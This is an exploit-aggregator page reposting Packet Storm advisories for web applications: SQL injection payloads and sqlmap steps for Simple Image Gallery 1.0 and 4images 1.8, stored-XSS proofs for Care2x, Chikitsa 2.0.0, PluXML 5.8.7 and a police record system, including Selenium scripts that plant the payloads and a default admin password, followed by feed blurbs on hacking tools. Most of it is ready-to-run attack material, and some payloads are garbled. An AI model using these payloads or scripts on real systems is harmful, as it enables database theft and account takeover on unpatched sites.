Exploit Collector
Simple Image Gallery System 1.0 SQL Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Simple Image Gallery System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 9d5cd6db50da28da818f9d2b7ee62d33

Download
# Exploit Title: Simple Image Gallery System 1.0 - 'id' SQL Injection
# Date: 2020-08-12
# Exploit Author: Azumah Foresight Xorlali (M4sk0ff)
# Vendor Homepage: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14903&title=Simple+Image+Gallery+Web+App+using+PHP+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Description:
Simple Image Gallery System 1.0 application is vulnerable to
SQL injection via the "id" parameter on the album page.

POC:

Step 1. Login to the application with any verified user credentials

Step 2. Click on Albums page and select an albums if created or create
by clicking on "Add New" on the top right and select the album.

Step 3. Click on an image and capture the request in burpsuite.
Now copy the request and save it as test.req .

Step 4. Run the sqlmap command "sqlmap -r test.req --dbs

Step 5. This will inject successfully and you will have an information
disclosure of all databases contents.

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3' AND 7561=7561 AND 'SzOW'='SzOW

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=3' OR (SELECT 9448 FROM(SELECT
COUNT(*),CONCAT(0x7178707071,(SELECT
(ELT(9448=9448,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'SXqA'='SXqA

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3' AND (SELECT 1250 FROM (SELECT(SLEEP(5)))aNMX) AND
'qkau'='qkau
---

Source:packetstormsecurity.com

Exploit Collector
Care2x Open Source Hospital Information Management 2.7 Alpha XSS

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Care2x Open Source Hospital Information Management version 2.7 Alpha suffers from multiple persistent cross site scripting vulnerabilities.

MD5 | dec039a436133a6e4c3f9ac9d4c3fdf2

Download
# Exploit Title: Care2x Open Source Hospital Information Management 2.7 Alpha - 'Multiple' Stored XSS
# Date: 13.08.2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

Stored Cross Site Scripting(XSS) vulnerability in Care2x Hospital Information Management 2.7 Alpha. The vulnerability has found POST requests in /modules/registration_admission/patient_register.php page with "name_middle", "addr_str", "station", "name_maiden", "name_2", "name_3" parameters.
Example: /modules/registration_admission/patient_register.php POST request

Content-Disposition: form-data; name="date_reg"

2021-07-29 12:15:59
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="title"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_last"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_first"

asd
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_2"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_3"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_middle"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_maiden"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="name_others"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="date_birth"

05/07/2021
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="sex"

m
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_str_nr"

XSS
-----------------------------29836624427276403321197241205
Content-Disposition: form-data; name="addr_zip"

XSS
---------------------

If an attacker exploit this vulnerability, takeover any account wants.

Payload Used:

">

EXPLOITATION

1- Login to Care2x Panel
2- /modules/registration_admission/patient_register.php
3- Use the payload vulnerable parameters.
ABOUT SECURITY FOR EVERYONE TEAM

We are a team that has been working on cyber security in the industry for a long time.
In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
We have many free tools that you can use here: https://securityforeveryone.com/tools/free-security-tools

'''

Source:packetstormsecurity.com

Exploit Collector
Chikitsa 2.0.0 Cross Site Scripting

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Chikitsa version 2.0.0 suffers from a cross site scripting vulnerability.

MD5 | 56c7c313e44db5bcbdb1bb7d718c5928

Download
# Exploit Title: XSS-Stored - Brutal PWNED on Chikitsa 2.0.0 parameter "first_name"
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r
# Date: 08.09.2021
# Vendor: https://chikitsa.net/
# Link: https://sourceforge.net/projects/chikitsa/
# CVE: CVE-2021-38152

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-38152

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/Chikitsa2.0.0/index.php/login/index"

#enter your login username
username="nu11secur1ty"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="submit"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

## Exploit
time.sleep(3)
browser.maximize_window()
browser.get(("http://192.168.1.120/Chikitsa2.0.0/index.php/admin/add_user
"))

## buttons

browser.execute_script("document.querySelector('[class=\"form-control\"]').value=\"Doctor\"")

time.sleep(3)
browser.execute_script("document.querySelector('[name=\"title\"]').value =
'Mr'")

time.sleep(1)
browser.execute_script("document.querySelector
('[name=\"first_name\"]').value = '
https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/XSS-image/image/kostaakatil.webp
onerror=alert(1) />'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"middle_name\"]').value
= 'Userov'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"last_name\"]').value
= 'Userski'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"username\"]').value
= 'D0ct0rA'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"password\"]').value
= 'password'")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"passconf\"]').value
= 'password'")

time.sleep(1)
browser.execute_script("document.querySelector('#is_active').checked =
true")

## submit

browser.execute_script("document.querySelector('[name=\"submit\"]').click()")

print("payload is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38152
# Proof: https://streamable.com/wbo5c1
# BR nu11secur1ty

Source:packetstormsecurity.com

Exploit Collector
4images 1.8 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
4images version 1.8 suffers from a remote SQL injection vulnerability.

MD5 | b17b229a4376adf8ac8bb58528ed5ea3

Download
# Exploit Title: 4images 1.8 - 'limitnumber' SQL Injection (Authenticated)
# Exploit Author: Andrey Stoykov
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.8
# Tested on: Linux
Source Analysis:
Line #658

- User action defined

if ($action == "findimages") {
Line #661

- Vulnerable condition

$condition = "1=1";
Line #654

- Default limit 50

show_input_row($lang['results_per_page'], "limitnumber", 50);
Line #736

- Define limit start

$limitstart = (isset($HTTP_POST_VARS['limitstart'])) ? trim($HTTP_POST_VARS['limitstart']) : "";
if ($limitstart == "") {
$limitstart = 0;
Line #743

- Define limit number

$limitnumber = trim($HTTP_POST_VARS['limitnumber']);
if ($limitnumber == "") {
$limitnumber = 5000;
}
Line #763

- Define user input variables

$limitfinish = $limitstart + $limitnumber;
Line #786

- SQL statement

$sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_media_file, i.image_date".get_user_table_field(", u.", "user_name")."
FROM ".IMAGES_TABLE." i
LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
WHERE $condition
ORDER BY $orderby $direction

// Vulnerable user input of limitnumber
LIMIT $limitstart, $limitnumber";
Line #852

- Display user input defined previously

show_hidden_input("limitnumber", $limitnumber);
Exploit POC:
1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-
HTTP Request:

POST /4images/admin/images.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/4images/admin/images.php?action=modifyimages
Cookie: 4images_lastvisit=1628349389; 4images_userid=1; sessionid=7ndqdr2u04gqs9gdme12vhco87
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

__csrf=7aa2dd8597dfe4302237bbfeb200fbd8&action=findimages&image_id=&image_name=&image_description=&image_keywords=&cat_id=0&image_media_file=&image_thumb_file=&dateafter=&datebefore=&downloadsupper=&downloadslower=&ratingupper=&ratinglower=&votesupper=&voteslower=&hitsupper=&hitslower=&orderby=i.image_name&direction=ASC&limitnumber=1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-
HTTP Response:

HTTP/1.1 200 OK
...
XPATH syntax error: ':10.1.37-MariaDB'

Source:packetstormsecurity.com

Exploit Collector
PluXML 5.8.7 Cross Site Scripting

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
PluXML version 5.8.7 suffers from a persistent cross site scripting vulnerability.

MD5 | 764f97f2ba98bcb62751d92262620b44

Download
# Exploit Title: XSS-Stored on PluXML 5.8.7 - latest parameter "id_content"
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 08.13.2021
# Vendor: https://pluxml.org/
# Link: https://sourceforge.net/projects/chikitsa/
# CVE: CVE-2021-38603

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-2021-38603

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="
http://192.168.1.120/PluXml/core/admin/auth.php?p=/PluXml/core/admin/"

#enter your login username
username="nu11"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="login"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="blue"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

## Vulnerability parameter in profil.php "id_content"
## NOTE: The same problem is in the demo account in the online version
## https://www.softaculous.com/softaculous/demos/PluXml
time.sleep(3)
browser.maximize_window()
browser.get(("http://192.168.1.120/PluXml/core/admin/profil.php"))
## The Exploit
browser.execute_script("document.querySelector('[name=\"content\"]').value=\"
src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
onerror=alert(1) />\"")

## submit the exploit
browser.execute_script("document.querySelector('[name=\"profil\"]').click()")

# exit if you want :D
browser.close()

print("The payload for CVE CVE-2021-38603 is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38603
# Proof: https://streamable.com/5rf36u
# BR nu11secur1ty


Source:packetstormsecurity.com

Exploit Collector
Police Crime Record Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Police Crime Record Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | fc0950f25d13debde1b266e01722a6a4

Download
# Exploit Title: Police Crime Record Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 12/08/2021
# Exploit Author: Ömer Hasan Durmuş
# Software Link: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Version: v1.0
# Category: Webapps
# Tested on: Linux/Windows

Step 1 : Login to admin account in http://TARGET/ghpolice/login.php default credentials. (1111:admin123)
Step 2 : Then click on the "Add Staff"
Step 3 : Input "x " in the field "Firstname" or "Othernames"
Step 4 : Click on "Save and Continue"
Step 5 : Update page.

Source:packetstormsecurity.com

Kali Linux Tutorials
Solitude : A Privacy Analysis Tool That Enables Anyone To Conduct Their Own Privacy Investigations

Solitude is a privacy analysis tool that enables anyone to conduct their own privacy investigations. Whether a curious novice or a more advanced researcher, Solitude makes the process of evaluating user privacy within an app accessible for everyone. Important Note Prior to installing Solitude it should be noted that Solitude should be run on a […]

The post Solitude : A Privacy Analysis Tool That Enables Anyone To Conduct Their Own Privacy Investigations appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
Php-Jpeg-Injector : Injects Php Payloads Into Jpeg Images

Php-Jpeg-Injector Injects php payloads into jpeg images. Related to this post. Exploiting PHP-GD Image Create From jpeg() Function Proof-of-concept to exploit the flaw in the PHP-GD built-in function, image create from jpeg(). Inspired by one of Reddit’s comment on my previous thread regarding exploiting the image create from gif() PHP-GD function. Warning: This POC was tested […]

The post Php-Jpeg-Injector : Injects Php Payloads Into Jpeg Images appeared first on Kali Linux Tutorials.

Hacking on Medium
Electronic voting in the US, it is NOT safe OR verifiable.

I know, sacrilege right? Heresy! I must be a fan of Trump or a QAnon reader!
Wrong on all counts.
It is hard fact, read on to see why this…

Continue reading on Medium »

Hacking on Medium
Hack The Box — Love: Walkthrough (without Metasploit)

https://cdn-images-1.medium.com/max/600/1*SdoXDCfYuIlY6RZRFentKA.png
Hack The Box — Love: Walkthrough (without Metasploit)

Continue reading on Medium »